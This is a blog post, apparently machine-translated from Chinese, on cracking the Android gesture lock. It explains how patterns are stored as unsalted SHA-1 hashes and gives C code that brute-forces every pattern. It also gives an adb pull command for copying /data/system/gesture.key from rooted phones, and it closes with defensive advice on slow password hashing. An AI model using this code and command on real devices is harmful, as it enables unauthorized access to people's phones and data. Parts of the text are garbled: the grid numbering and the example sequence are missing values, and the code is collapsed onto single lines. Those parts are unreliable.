Andriod gesture password cracking,
★Introduction
I saw an article on Freebuf about Andriod's gesture password encryption principle. I thought it was interesting, so I wrote a small program to try it.
★Principle
Android's gesture password encryption principle is simple:
First, give the number of each vertex on the screen (generally 3X3 ):
, 01, 02
, 05
06, 07, 08
Note that the numbers here are in hexadecimal format.
Assume that I draw an L word along the left and bottom, then the point sequence of the gesture is, 08.
Then calculate the ciphertext C = SHA-1 (sequence) and write the result to/data/system/gesture. key.
According to the above operation, the ciphertext C should be: c8c0b24a15dc8bbfd411427973574695230458f0, 160-bit SHA-1 hash value.
But strictly speaking, this process is not called encryption or hash, because SHA-1 is only a data digest algorithm, not an encryption algorithm.
★Cracking principles
As you can see, the gesture encryption on Android is very simple and fragile. Why is it very fragile? The main reason is that the key space is too small! Simple calculation:
The gesture password must be connected to at least four points and can be connected to a maximum of nine points. Ignore some special arrangements and use the permutation and combination formula to calculate the result: (Note: P (n, m) indicates the total number of conditions in which m are selected from n elements)
P (9, 4) + P (9, 5) +... + P (9, 9) = 985824
There is less than 1 million keys, and the key space is too small. It is half a second for computers to work hard.
With the above principle, the creation of the cracking program is very simple:
1. A SHA-1 Hash module. If you understand the Hash algorithm in cryptography, you can write it yourself. You can also find it in libraries such as OpenSSL and Crypto ++.
2. A module for calculating the arrangement and combination. This is the key, so I spent more time talking about it.
Note: The following algorithms are implemented in C.
Considering the use of permutation and combination, I think of two things that I already know:
1. Calculate P (n, m) in the following formula: (Note: C (n, m) indicates the total number of m combinations selected from n elements)
P (n, m) = P (m, m) * C (n, m)
2. Calculating P (m, m) is to calculate the total number of all m elements. If we talked about this algorithm in the algorithm class before, we can use it directly.
You also need to build a computing algorithm.
Calculate the full permutation of P (m, m ):
Assume that the {1, 2, 3} of the computing set is fully arranged. You can do this: first take an element, such as 1, and then take 2 from the remaining set {2, 3, then {3} is left }. According to this method, the full arrangement of {1, 2, 3} is:
1 {2, 3} ----> 1, 2 {3} 1, 3 {2}
2 {1, 3} ----> 2, 1 {3} 2, 3 {1}
3 {2, 1} ----> 3, 2 {1} 3, 1 {2}
So far, the idea of the algorithm has been clarified: In turn, each element in the set is exchanged with the first element, and then recursively calculated. The following code is provided:
typedef unsigned char uint8;#define swap(a, b) \{ \ uint8 t; \ \ t = a; \ a = b; \ b = t; \}void permute(uint8 *p, int n, int m){ int i; if(n == m) { for(i = 0; i <= m; i++) printf("%02X ", p[i]); printf("\n"); } else { for(i = n; i <= m; i++) { swap(p[n], p[i]); permute(p, n + 1, m); swap(p[n], p[i]); } }}
Note: n and m start from 0.
Computing combination C (n, m ):
At first, I had no idea for a long time. Later I used recursion to solve the problem by following the algorithm in full arrangement. It seems that the idea of divide governance is still very important.
Suppose there is a set of {1, 2, 3, 4}. Select two from the list to list all possible combinations. You can do this:
First, extract an element from the set. For example, if 1 is taken, then {2, 3, 4} is left. Then, an element is taken from the remaining set {2, 3, 4}. For example, 2 is taken, in this case, a combination of 1 and 2 is obtained. In other cases, the same is true.
{1, 2, 3, 4} ----> 1 {2, 3, 4} ------> {1, 2} {1, 3} {1}
{2, 3, 4} --------> 2 {3, 4} ---------> {2, 3} {3, 4}
{3, 4} ------------> 3 {4} ------------> {3, 4}
It can be seen that each time an element is taken, and then the remaining elements are combined. In this way, the general idea of combining algorithms is as follows:
Select an element from the set, put it in the temporary array q, and call the combination algorithm recursively until m = 1, that is, only one element needs to be selected.
Void combine (uint8 * p, uint8 * q, int n, int m, int s) // The length of the selected sequence {int I, j; for (I = n; I> = m; I --) {q [m-1] = p [I-1]; if (m> 1) {combine (p, q, I-1, m-1, s) ;}else {for (j = 0; j <s; j ++) printf ("% 02X ", q [j]); printf ("\ n ");}}}
Calculate and arrange P (n, m ):
With the first two algorithms, it is easy to calculate P (n, m). Just embed the fully arranged algorithms into the composite algorithms.
★Program cracking
With the above preparations, it is very easy to compile the cracking program, and the code will be directly posted below.
#define swap(a, b) \{ \ uint8 t; \ \ t = a; \ a = b; \ b = t; \}static int crack_permute(uint8 *p, int n, int m, int *ct, const uint8 *md){ int i; uint8 cal_md[SHA1_DIGEST_SIZE]; if(n == m) { (*ct)++; sha1_hash(p, m, cal_md); if(memcmp(cal_md, md, SHA1_DIGEST_SIZE) == 0) { printf("\nThe gesture found!\n\nThe gesture is :"); for(i = 0; i < m; i++) printf("%02X ", p[i]); printf("\n\nTry %d times!\n", (*ct)); return 1; } } else { for(i = n; i <= m; i++) { swap(p[n], p[i]); if(crack_permute(p, n + 1, m, ct, md)) return 1; swap(p[n], p[i]); } } return 0;}static int crack_combine(uint8 *p, uint8 *q, int n, int m, int s, int *ct, const uint8 *md){ int i, j; uint8 r[NUM]; for(i = n; i >= m; i--) { q[m - 1] = p[i - 1]; if(m > 1) { if(crack_combine(p, q, i - 1, m - 1, s, ct, md)) return 1; } else { for(j = 0; j < s; j++) r[j] = q[j]; if(crack_permute(r, 0, s - 1, ct, md)) return 1; } } return 0;}void crack_main(const uint8 *md){ int ct, ret; int m, n; uint8 q[NUM]; uint8 p[NUM] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}; ct = 0; n = NUM; for(m = 4; m <= n; m++) { if((ret = crack_combine(p, q, n, m, m, &ct, md)) == 1) break; } if(ret == 0) printf("\nGesture not found!\n");}
Note: ct is the number of attempts, md is the hash value read from the file, and NUM is the macro definition: # define NUM 9.
The SHA-1 in the program is written by myself. The function prototype is void sha1_hash (const uint8 * input, const size_t len, uint8 * digest );
If crack_combine finds the gesture sequence, 1 is returned, and the search is complete.
The preceding crack_permute and crack_combine functions are modified according to the previous two algorithms. In the program, the crack_permute function is called by the crack_combine function to calculate the full arrangement of each combination. In the crack_permute function, call the SHA-1 Digest algorithm to calculate the hash value of each gesture sequence and compare it with the input md. If the comparison is successful, return immediately.
To avoid being too long, only some of the main code is listed above. If you want all the code, click [here ]. If the program is used, I do not have a module for reading files. If necessary, I can add it myself.
★Summary
For Android gesture password cracking, you need to get gesture. key File (command: adb pull/data/system/gesture. key gesture. key), to prevent such attacks, either the mobile phone should not be root, or do not enable the USB Debug mode after the root mode, but unfortunately many people do not have any idea about operating system permissions, always run under the highest permission, so the chances of being hacked are much higher :(
The primary reason why Android's gesture password can be quickly cracked is the small key space. Therefore, in other cases, it is safer to keep the password as long as possible. If password verification is involved in programming, it is best to use ultra-slow algorithms, such as PBKDF2 or bcrypt, to reduce the speed of brute-force cracking.
Copyright Notice
Original blog, reproduced must contain this statement, to maintain the integrity of this article, and in the form of hyperlink to indicate the author Starrybird and the original address of this article: http://www.cnblogs.com/starrybird/p/4418257.html